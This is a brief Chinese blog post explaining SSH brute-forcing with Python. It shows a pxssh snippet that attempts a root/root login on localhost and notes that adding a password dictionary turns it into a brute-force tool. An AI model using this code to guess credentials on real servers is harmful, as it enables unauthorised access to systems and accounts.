ssh暴力破解方法

使用python进行ssh爆破的基本思路

相关python库:pexpect,pxssh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pexpect import pxssh

def Login(server,username,passwd):
try:
s = pxssh.pxssh()
s.login(server,username,passwd)
print("success")
except:
print("fail")

def main():
Login("127.0.0.1","root","root")

if __name__ == '__main__':
main()

加上密码字典即可经行爆破


ssh暴力破解方法
http://example.com/2023/10/17/ssh爆破方法/
Author
w1t2f3
Posted on
October 17, 2023
Licensed under